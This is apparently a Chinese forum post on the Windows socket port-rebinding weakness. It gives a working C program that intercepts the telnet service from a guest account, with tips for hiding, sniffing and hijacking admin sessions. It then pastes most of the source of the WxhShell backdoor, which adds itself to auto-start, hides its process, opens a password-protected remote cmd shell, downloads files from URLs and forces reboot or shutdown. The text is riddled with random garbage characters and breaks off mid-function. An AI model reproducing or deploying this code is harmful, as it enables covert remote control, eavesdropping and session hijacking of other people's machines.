在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
G$b*N4yR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
+:@lde]/p GabYxYK saddr.sin_family = AF_INET;
9d7`R' RRGo$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mj\]oWS7d !RX7TYf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<5oG[1j ;|(_;d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
[l;9](\8O >z&|<H% 这意味着什么?意味着可以进行如下的攻击:
,^]yU?eU //9M~qHa" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
M'Ec:p=X" y7)s0g>%H 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(8bo"{zI ivy+e-) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
l/|bU9o /u s d-5AE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
["N{6d&Q K5;
/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{(o$? = >lZ9Y{Y4v 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xWNB/{F .c#G0t<i[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}bwH(OOS Bismd21F6= #include
h_O6Z2J1 #include
LEnm6 #include
#
tN#_<W #include
Q>`|{m DWORD WINAPI ClientThread(LPVOID lpParam);
8t{- int main()
E_t ^osY& {
'`.bmiM WORD wVersionRequested;
&YAw~1A DWORD ret;
P2lDi!q| WSADATA wsaData;
Yo`#G-] BOOL val;
lLq9)+HGN SOCKADDR_IN saddr;
fU@{!;|Pz SOCKADDR_IN scaddr;
p-p]dV int err;
$9_yD&& SOCKET s;
zqd_^
SOCKET sc;
h/T^+U?-< int caddsize;
2(5HPRQ HANDLE mt;
~Q q0 DWORD tid;
*{}Y
: wVersionRequested = MAKEWORD( 2, 2 );
xW`,@a} err = WSAStartup( wVersionRequested, &wsaData );
Tnw0S8M if ( err != 0 ) {
Xi^#F;@sU printf("error!WSAStartup failed!\n");
y]dA<d?u return -1;
^cQTRO| }
)vO?d~x| saddr.sin_family = AF_INET;
|2oCEb1 3zV{cm0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B?;!j)FUtt x RV@_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vjfV??XSU saddr.sin_port = htons(23);
<F~0D0G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^
+e5 M1U= {
~,199K#' printf("error!socket failed!\n");
U
_QCe+ return -1;
I/F3%'O }
dd $}FlT val = TRUE;
Vn4y^_H //SO_REUSEADDR选项就是可以实现端口重绑定的
F\Qukn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
h]|E,!H {
>P@JiR<@\n printf("error!setsockopt failed!\n");
^o`;C\ return -1;
*b<
a@ }
v/\in'H~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
X-xN<S q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
JYE[
1M //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L.5 /wg 8SJi~gV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j?5s/ {
C(t>ZR ret=GetLastError();
}ioHSkCD printf("error!bind failed!\n");
0vu$dxb[ return -1;
BQ We8D }
.{pc5eUf listen(s,2);
:$=r^LSH while(1)
4[\[Ho {
WfnBWSA2T caddsize = sizeof(scaddr);
+\@)
1 //接受连接请求
m[k@\xS4e sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=wd=TX/ if(sc!=INVALID_SOCKET)
$)V_oQSqn {
,qo"i7c{: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Wmm'j&hI if(mt==NULL)
,5tW|=0@ {
m^6& !`CD printf("Thread Creat Failed!\n");
-Fl;;jeX break;
?b}d"QsmU }
zcn> 4E) }
#n9:8BKf CloseHandle(mt);
7RH1,k }
)Ha`> closesocket(s);
"4 Lt:o4x WSACleanup();
Qxw?D4/Y return 0;
5)IJ|"]y }
y;M}I8W[ DWORD WINAPI ClientThread(LPVOID lpParam)
X4- _l$j {
-F7GUB6B SOCKET ss = (SOCKET)lpParam;
j,HUk,e^& SOCKET sc;
=.*+c\ unsigned char buf[4096];
|H!kU.f] SOCKADDR_IN saddr;
mBp3_E.t long num;
PNjZbOmzS DWORD val;
}"V$li DWORD ret;
J.R|Xd //如果是隐藏端口应用的话,可以在此处加一些判断
"s:eH"_s //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
e@Cv')]B saddr.sin_family = AF_INET;
o~
v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qUZm6)p6[a saddr.sin_port = htons(23);
v,=[!=8! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_ct18nh9 {
oNkASAd printf("error!socket failed!\n");
V>8)1)dF return -1;
"kYzgi }
1;e"3x" val = 100;
.<0s?Q if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@xO?SjH {
G`a,(<kT; ret = GetLastError();
9;fyC= return -1;
@Lp;p$G` }
?0ezr[`. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Aqc
Cb[1r {
fmDn1N-bG ret = GetLastError();
2l7Sbs7 return -1;
/b44;U`v5- }
hI&ugdf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
2+Y8b:: {
3)?v printf("error!socket connect failed!\n");
*{ =5AW}o closesocket(sc);
2jMV6S9 closesocket(ss);
F"#8`Ps> return -1;
AGH7z }
SO~]aFoYt while(1)
t *8k3" {
x_C#ALq9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-zzM!1@F //如果是嗅探内容的话,可以再此处进行内容分析和记录
V_>)m3zsL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
R(i2TAaaU num = recv(ss,buf,4096,0);
)ZyEn% if(num>0)
I3{koI send(sc,buf,num,0);
1l8kuwH else if(num==0)
,>: break;
BW`)q/ num = recv(sc,buf,4096,0);
-T
s8y if(num>0)
(c'=jJX send(ss,buf,num,0);
`|["{j}^ else if(num==0)
_fVC\18T break;
e)(m0m\ }
B/iRR2h closesocket(ss);
^KBE2C closesocket(sc);
zW,Nv>Ac5 return 0 ;
%(9BWO }
wFgL\[$^| T:/68b*H\: FqvMi:F ==========================================================
oicj3xkw? +[=yLE#P% 下边附上一个代码,,WXhSHELL
;yc|=I^ P,(Tu.EPk ==========================================================
<@Lw ' (>E}{{>2r #include "stdafx.h"
Ap{2*o $Iu N(# #include <stdio.h>
EB/.M+~a #include <string.h>
?=UIx24W #include <windows.h>
eX+FtN #include <winsock2.h>
rvdhfM!-A #include <winsvc.h>
[i8,rOa7 #include <urlmon.h>
FUq>+U!Qu uv:DO6 { #pragma comment (lib, "Ws2_32.lib")
3\=iB&Gf| #pragma comment (lib, "urlmon.lib")
c]pO'6] BFCF+hU^6R #define MAX_USER 100 // 最大客户端连接数
_l i\b- #define BUF_SOCK 200 // sock buffer
L$ nFRl& #define KEY_BUFF 255 // 输入 buffer
"8bxb :sMc}k?9S #define REBOOT 0 // 重启
zF&>1y.$ #define SHUTDOWN 1 // 关机
# j=r q ;@:,^ #define DEF_PORT 5000 // 监听端口
k 5<[N2D|! #4WA2EW #define REG_LEN 16 // 注册表键长度
7\BGeI #define SVC_LEN 80 // NT服务名长度
qep<7 QO hhS]wM?B // 从dll定义API
\F|L y >g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
AYC22( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X j'7nj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Tl.%7) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
' O\me 64#6L.Q-c // wxhshell配置信息
12NV struct WSCFG {
~)RKpRga\p int ws_port; // 监听端口
4_#yl9+ char ws_passstr[REG_LEN]; // 口令
" <GDOL int ws_autoins; // 安装标记, 1=yes 0=no
+O@v|}9"w3 char ws_regname[REG_LEN]; // 注册表键名
x8]9Xe:_>O char ws_svcname[REG_LEN]; // 服务名
P]Hcg|& char ws_svcdisp[SVC_LEN]; // 服务显示名
STC'j1U char ws_svcdesc[SVC_LEN]; // 服务描述信息
F-^#EkEGe char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,W'?F9Y\ int ws_downexe; // 下载执行标记, 1=yes 0=no
B{D!5{t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
2Z ?
N char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C$Y pk\p VTDp9s };
2iUdTy$ BjT0mk"P // default Wxhshell configuration
OV l,o struct WSCFG wscfg={DEF_PORT,
>3S^9{d "xuhuanlingzhe",
QU&b5!;& 1,
_;A?w8z "Wxhshell",
YWfw%p?n" "Wxhshell",
y=L9E? "WxhShell Service",
H:~41f[ "Wrsky Windows CmdShell Service",
Q~5!c#r "Please Input Your Password: ",
y6[^I'kz 1,
JsOu
*9R "
http://www.wrsky.com/wxhshell.exe",
AT#&`Ew "Wxhshell.exe"
c`'2 };
}v'jFIkhI u>G#{$) // 消息定义模块
FyXz(l: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
K22' XrN char *msg_ws_prompt="\n\r? for help\n\r#>";
KUC (n! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-L9I;]:KY char *msg_ws_ext="\n\rExit.";
w3^>{2iqq char *msg_ws_end="\n\rQuit.";
k$V.hG|6M char *msg_ws_boot="\n\rReboot...";
VfJbexYT char *msg_ws_poff="\n\rShutdown...";
x5Sc+5?* char *msg_ws_down="\n\rSave to ";
x<
Td sK#)wjj\^ char *msg_ws_err="\n\rErr!";
9d7$Fz# char *msg_ws_ok="\n\rOK!";
G<1awi xD f<@ char ExeFile[MAX_PATH];
@K 8sNPK int nUser = 0;
@wWro?s'p HANDLE handles[MAX_USER];
J!Kk7!^| int OsIsNt;
xh7#\m_U8 [!@&t:A SERVICE_STATUS serviceStatus;
zc QFIP SERVICE_STATUS_HANDLE hServiceStatusHandle;
NqsIMCl T)IH4UO // 函数声明
''9FB5 int Install(void);
W$x'+t5H int Uninstall(void);
a95QDz int DownloadFile(char *sURL, SOCKET wsh);
QR!8 n int Boot(int flag);
bDLPA27 void HideProc(void);
09Sy-
je*/ int GetOsVer(void);
oG! S(95 int Wxhshell(SOCKET wsl);
a@&^t( 1 void TalkWithClient(void *cs);
* /S=9n0 int CmdShell(SOCKET sock);
=O
qw`jw int StartFromService(void);
1/t}>>,M int StartWxhshell(LPSTR lpCmdLine);
D`;Q?fC B!vI^W VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
4uUG0o VOID WINAPI NTServiceHandler( DWORD fdwControl );
H];QDix? yNk9KK ) // 数据结构和表定义
mdu5aL SERVICE_TABLE_ENTRY DispatchTable[] =
mVYLI!n}0# {
JW!SrM xF {wscfg.ws_svcname, NTServiceMain},
t]Ey~-Rx {NULL, NULL}
&j@i>(7 };
1*_wJ -[kbHrl& // 自我安装
b"+J8W int Install(void)
jgLCs)=5hV {
r5!I|E char svExeFile[MAX_PATH];
@_&@M~ u HKEY key;
w5I
+5/I strcpy(svExeFile,ExeFile);
8oI)q4V NX?J // 如果是win9x系统,修改注册表设为自启动
Ybr&z7# 2 if(!OsIsNt) {
+DwyMzeE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P)?)H]J" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
anj*a<C< RegCloseKey(key);
^(p}hSLAfQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tqY) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
'1{#I/P; RegCloseKey(key);
dP(*IOO. return 0;
K!q:A+] }
1mw<$'pm0 }
~=5 vc'' }
`[JX}<~i else {
Re <G#*^ M[ea!an // 如果是NT以上系统,安装为系统服务
*$nz<? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L]o
5=K if (schSCManager!=0)
?XVJ$nzW {
utq*<,^ SC_HANDLE schService = CreateService
C LhD[/Fo (
UE4zmIq schSCManager,
:^mfTj$ wscfg.ws_svcname,
$x&\9CRM wscfg.ws_svcdisp,
(,<ti): SERVICE_ALL_ACCESS,
J[:3H6%` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Gc)
Zu`67 SERVICE_AUTO_START,
F`9;s@V* SERVICE_ERROR_NORMAL,
M2ig iR svExeFile,
i"uAT$x e NULL,
;mV,r,\dH NULL,
W`fE@* k0 NULL,
2nOoG/6
E NULL,
K
(yuL[p` NULL
0:^L>MO );
$wa )e if (schService!=0)
K[ZgT$zZ {
f!}c0nb CloseServiceHandle(schService);
:%Dw3IrOM CloseServiceHandle(schSCManager);
ms'!E) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9?)r0`:# strcat(svExeFile,wscfg.ws_svcname);
<$s G]l!\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v_*E:E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
".z~c%' RegCloseKey(key);
iY~9`Q1E return 0;
G`NH~C }
L 6){wQ%c }
hS4Ljyeg CloseServiceHandle(schSCManager);
XJ;kyEx3=O }
}}v04~ }
P%5h!Z2m p1p4t40<l return 1;
;ti{
#(Ux }
U$KdY _Z97 M>df7.N7%P // 自我卸载
c?L_n=B int Uninstall(void)
i]Or'L0c {
aTC7 H]e HKEY key;
ap k06"/ <,,U>0?3 if(!OsIsNt) {
|2!/<%Yr` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:0Nd4hA RegDeleteValue(key,wscfg.ws_regname);
94L
P )n RegCloseKey(key);
B[^mWVp6L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
O&93QN0 RegDeleteValue(key,wscfg.ws_regname);
*B(na+ RegCloseKey(key);
,D-VC{lj return 0;
UO}Kk* }
*ms?UFV[r }
@9|sNS }
x,"'\=|s* else {
vB, X) >S5:zz\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
,L&Ka|N0 if (schSCManager!=0)
8Pklw^k {
RRy3N
)HR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Fs7/3
if (schService!=0)
5EDM?G {
:0pxacD"! if(DeleteService(schService)!=0) {
@*W,Jm3Y CloseServiceHandle(schService);
{ hUbK+dKZ CloseServiceHandle(schSCManager);
9I/o;Js return 0;
s% `o }
Rxld$@~-(] CloseServiceHandle(schService);
ZWW:-3 }
Y'kD_T`f, CloseServiceHandle(schSCManager);
+ oyW_!( }
D.|h0gU }
$H ^hK0?' m*h
d%1D return 1;
NG@9}O }
o
Wg5-pMWZ <2w@5qL // 从指定url下载文件
BvpGP int DownloadFile(char *sURL, SOCKET wsh)
(
3IM7 {
d;\x 'h2 HRESULT hr;
NMY~f (x char seps[]= "/";
BuI&kU,WY char *token;
T$13"?sr= char *file;
'.oEyZA;o char myURL[MAX_PATH];
"2(4?P char myFILE[MAX_PATH];
Y+ P\5G iUqL / strcpy(myURL,sURL);
>:5/V0;, token=strtok(myURL,seps);
!<}<HR^) while(token!=NULL)
S|Wv1H> {
j2" jCv file=token;
nm66U4.@ token=strtok(NULL,seps);
}NDw3{zn }
|_ HH[s*U lKEdpF< GetCurrentDirectory(MAX_PATH,myFILE);
ws4a(1 strcat(myFILE, "\\");
5#+!|S[PK strcat(myFILE, file);
5SFeJBS send(wsh,myFILE,strlen(myFILE),0);
0*W=u-|s6 send(wsh,"...",3,0);
%WHue hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f;#hcRSH if(hr==S_OK)
EP7L5GZ-a return 0;
F?e_$\M else
<LQwH23@ return 1;
R`Hyg4? -uN5DJSW }
MsCY5g IX;u +B // 系统电源模块
d_Ll,*J9 int Boot(int flag)
30g-J(Zg {
~:Dr]kt HANDLE hToken;
<oTIzj7f TOKEN_PRIVILEGES tkp;
`TKe+oS) a/X@5kr{ if(OsIsNt) {
fLAOA9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
FVsVY1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
X'e@(I!0 tkp.PrivilegeCount = 1;
1Ah tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)#Ea~>v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5YMjvhr?W if(flag==REBOOT) {
He. gl if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
"CBe$b4 return 0;
Z.<OtsQN }
t.c XrX`k else {
&%L1n?>Q} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^rjICF e return 0;
Uaj8}7v }
*^ncb,1+i }
&(-+?*A`E else {
!6\{q
M if(flag==REBOOT) {
BdB/`X* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zn&NLsA return 0;
qYZX,
x }
BftW<1,U^ else {
0J z'9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
` *x;&.&v return 0;
I/rq@27o }
*Ibl+ }
Xa#`VDh O8TAc]B return 1;
^k]OQc7q' }
8-UlbO6 ZJ'#XZpr // win9x进程隐藏模块
!]7Z),s void HideProc(void)
i]a0
" {
kJq8"Klg L;H(I@p(e HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7NV1w*>/ if ( hKernel != NULL )
|"?0H# {
[>Z~&cm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,*%%BTnR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
~~,\BhG? FreeLibrary(hKernel);
ir-srVoXy }
(S* T{OgO ie{9zO<d return;
kUUeyq }
v4=9T<[ ComVY4, // 获取操作系统版本
qd(C%Wk int GetOsVer(void)
oOUL<ihe? {
,1EyT> OSVERSIONINFO winfo;
u;H SX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
CEq0ZL-W GetVersionEx(&winfo);
CWdA8)n. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%WiDz0o return 1;
5Jh=${ else
9'faH return 0;
@v\Osp t= }
`WGT`A" x
hBlv // 客户端句柄模块
,<0R'R int Wxhshell(SOCKET wsl)
XT>
u/Z ) {
!E8y!|7$ SOCKET wsh;
3#`_t :"A struct sockaddr_in client;
C|bnUN DWORD myID;
x>d,\{U zBtlkBPu while(nUser<MAX_USER)
P!3)-apP\ {
IWERn
v! int nSize=sizeof(client);
DKnjmZ:J| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_TY9!:&}q if(wsh==INVALID_SOCKET) return 1;
{DJ!T \]dx;,T handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3&:Us|} if(handles[nUser]==0)
X|fl_4NC> closesocket(wsh);
K?o( zh; else
rrbD0UzFA nUser++;
|N/Grk4 }
WcqQR))n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
| s%--W X Uc(7>k return 0;
)0UVT[7 }
uP2e/a dU<\FW_ // 关闭 socket
jcD_<WSe void CloseIt(SOCKET wsh)
~x^E kE {
8Q
ba4kgL closesocket(wsh);
}5
^2g!M nUser--;
gpDH_!K ExitThread(0);
y:u7*%" }
b5lZ| |W. k=!lPIx // 客户端请求句柄
r0t4\d_& void TalkWithClient(void *cs)
nb
dm@ {
9"hH2jc
"TEF SOCKET wsh=(SOCKET)cs;
Yci>'$tQ char pwd[SVC_LEN];
'Dw+k;RH char cmd[KEY_BUFF];
F3+
;2GG2 char chr[1];
2-=Ov@y2k! int i,j;
|`vwykhezO 7niZ`doBA while (nUser < MAX_USER) {
>L[n4x\ 3}R}|Ha
J# if(wscfg.ws_passstr) {
V&)Jvx}^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v6=pV4k9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M|8vP53=q //ZeroMemory(pwd,KEY_BUFF);
4FrP%|%E~ i=0;
8 *o*?1. while(i<SVC_LEN) {
GPV=(}z &iKy // 设置超时
=2v/f_ fd_set FdRead;
z7TMg^9# struct timeval TimeOut;
Io_bS+ FD_ZERO(&FdRead);
8'XAZSd( FD_SET(wsh,&FdRead);
-wn,7; TimeOut.tv_sec=8;
^f6pw! TimeOut.tv_usec=0;
:jL>sGvBv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"?9rJx$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;B*im
S10 wT\JA4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'kBg3E$y pwd
=chr[0]; A1>fNilC9
if(chr[0]==0xd || chr[0]==0xa) { wO<.wPa`
pwd=0; N)yCGo
break; oVlh4"y#Lf
} EZs"?A
i++; zI-]K,!
} >_XC
F(h
jP
// 如果是非法用户,关闭 socket }fC=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RTC;Wj
} <c'0-=
.cks){\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `>ppDQaS)W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H!SFSgAu
- t#YL
while(1) { *G rYB6MT
V[DiN~H
ZeroMemory(cmd,KEY_BUFF); B|WM;Y^
H@,h$$
// 自动支持客户端 telnet标准 ^mwS6WH6
j=0; pW&K=,7|
while(j<KEY_BUFF) { qAI%6d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s#Ayl]8r
cmd[j]=chr[0]; jxc^OsYj
if(chr[0]==0xa || chr[0]==0xd) { _:+hB9n s
cmd[j]=0; p~Wy`g-
break;
'ug:ic
} deLLqdZa
j++; w'uB&z4'
} 6W\G i>
LX'z7fh
// 下载文件 {,NF'x4$
if(strstr(cmd,"http://")) { s5s'[<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -v %n@8p
if(DownloadFile(cmd,wsh)) px${
"K<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %eOO8^N
else gOy;6\/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i(qZ#oN
} X'uQr+p^
else { <aQ<Wy=\
RCqd2$K"J+
switch(cmd[0]) { A3mvd-k
?3
S{>+'
// 帮助 )4#YS$B$@)
case '?': { )JrG`CvdU
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q-hR EO
break; \s?8}k
} jK-b#h.gL
// 安装 C'7DG\pr
case 'i': { !S~0T!afF
if(Install()) kqkTz_r|H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gf=3h4
else b(_f{R7PY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x^zw1e,y
break; ;\g0*b(
} "5HSCl$r%
// 卸载 oRZ98?Y\B
case 'r': { "wy2u~
if(Uninstall()) G^|!'V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Ki!j<
else ?}e^-//*i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0%<OwA2d
break; 6H1;Hl
f
} F| jl=i
// 显示 wxhshell 所在路径 riZ :#I
case 'p': { \Up~"q>Kb
char svExeFile[MAX_PATH]; b4qMTRnv
strcpy(svExeFile,"\n\r");
NDUH10Y:[
strcat(svExeFile,ExeFile); 9.%t9RM^
send(wsh,svExeFile,strlen(svExeFile),0); iE?yvtr8
break; ds2%i
} >PzZt8e
// 重启 g=/!Ry=
case 'b': { "Zfm4Nx"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1xEFMHjy
if(Boot(REBOOT)) GT7&>}FJ)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &\=Tm~
else { U8.V Rn
closesocket(wsh); 7`j%5%q
ExitThread(0); %M3L<2
} '}^qz#w
break; !r8_'K5R(
} = GyABK
// 关机 &]h`kvtBC
case 'd': { d6a3\f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z/]]u.UP
if(Boot(SHUTDOWN)) I7wR[&L885
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jlA6~n
else { [Tl66Eyl
closesocket(wsh); w4fQ~rcUIc
ExitThread(0); ?[uHRBR'
} C
:An
break; boI&q>-6Re
} i)$P1h
// 获取shell UZdGV?o ?
case 's': { $4mCtonP=
CmdShell(wsh); Xj{gyLs
closesocket(wsh); 80=LT-%#
ExitThread(0); t`="2$NO
break; "IB36/9
} :c|Om{;
// 退出 GM8Q#vc
case 'x': { U9\\8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ohbU~R3{U
CloseIt(wsh); EDz;6Z*4N
break; -u(,*9]cJ*
} Lk!m1J5
// 离开 \FUMfo^
case 'q': { 6J\ 2=c`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); P-a8S*RRa
closesocket(wsh); \WBO(,]V
WSACleanup(); Y=4
7se=h"
exit(1); Do7 7V5
break; :tbgX;tCs5
} 5S8>y7knQ
} H~TuQ
} L2p?]:-
064k;|>D
// 提示信息 oNIYO*[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); < =~=IZ)
} 2WDe34
} zrqI^i"c
H[nco#
return; N,Z*d
} =tbfBK+
P6Y+ u
// shell模块句柄 .^M#BAt2
int CmdShell(SOCKET sock) R:+'"dBge
{ Ge/K.]>i
STARTUPINFO si; D+v?zQw
ZeroMemory(&si,sizeof(si)); (6B;
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <5D4h!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xy%||\P{)
PROCESS_INFORMATION ProcessInfo; 1a/C(4_k
char cmdline[]="cmd"; 2Mk;r*FT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2F>Y{3&
return 0; [|ZFei)r
} yuy\T(7BN
AmHj\NX$
// 自身启动模式 (~eS$8>.
int StartFromService(void) 6lCpf1>6@
{ jC_'6sc`
typedef struct ;py9,Wno
{ $m)gfI]9
DWORD ExitStatus; QRvyaV
DWORD PebBaseAddress; 6`7tTn?n
DWORD AffinityMask; #2s}s<Sc;
DWORD BasePriority; ZM})l9_o"
ULONG UniqueProcessId; \c<;!vkZ04
ULONG InheritedFromUniqueProcessId; U+*l!"O,
} PROCESS_BASIC_INFORMATION; VsJ+-IHm
1Xo0(*O
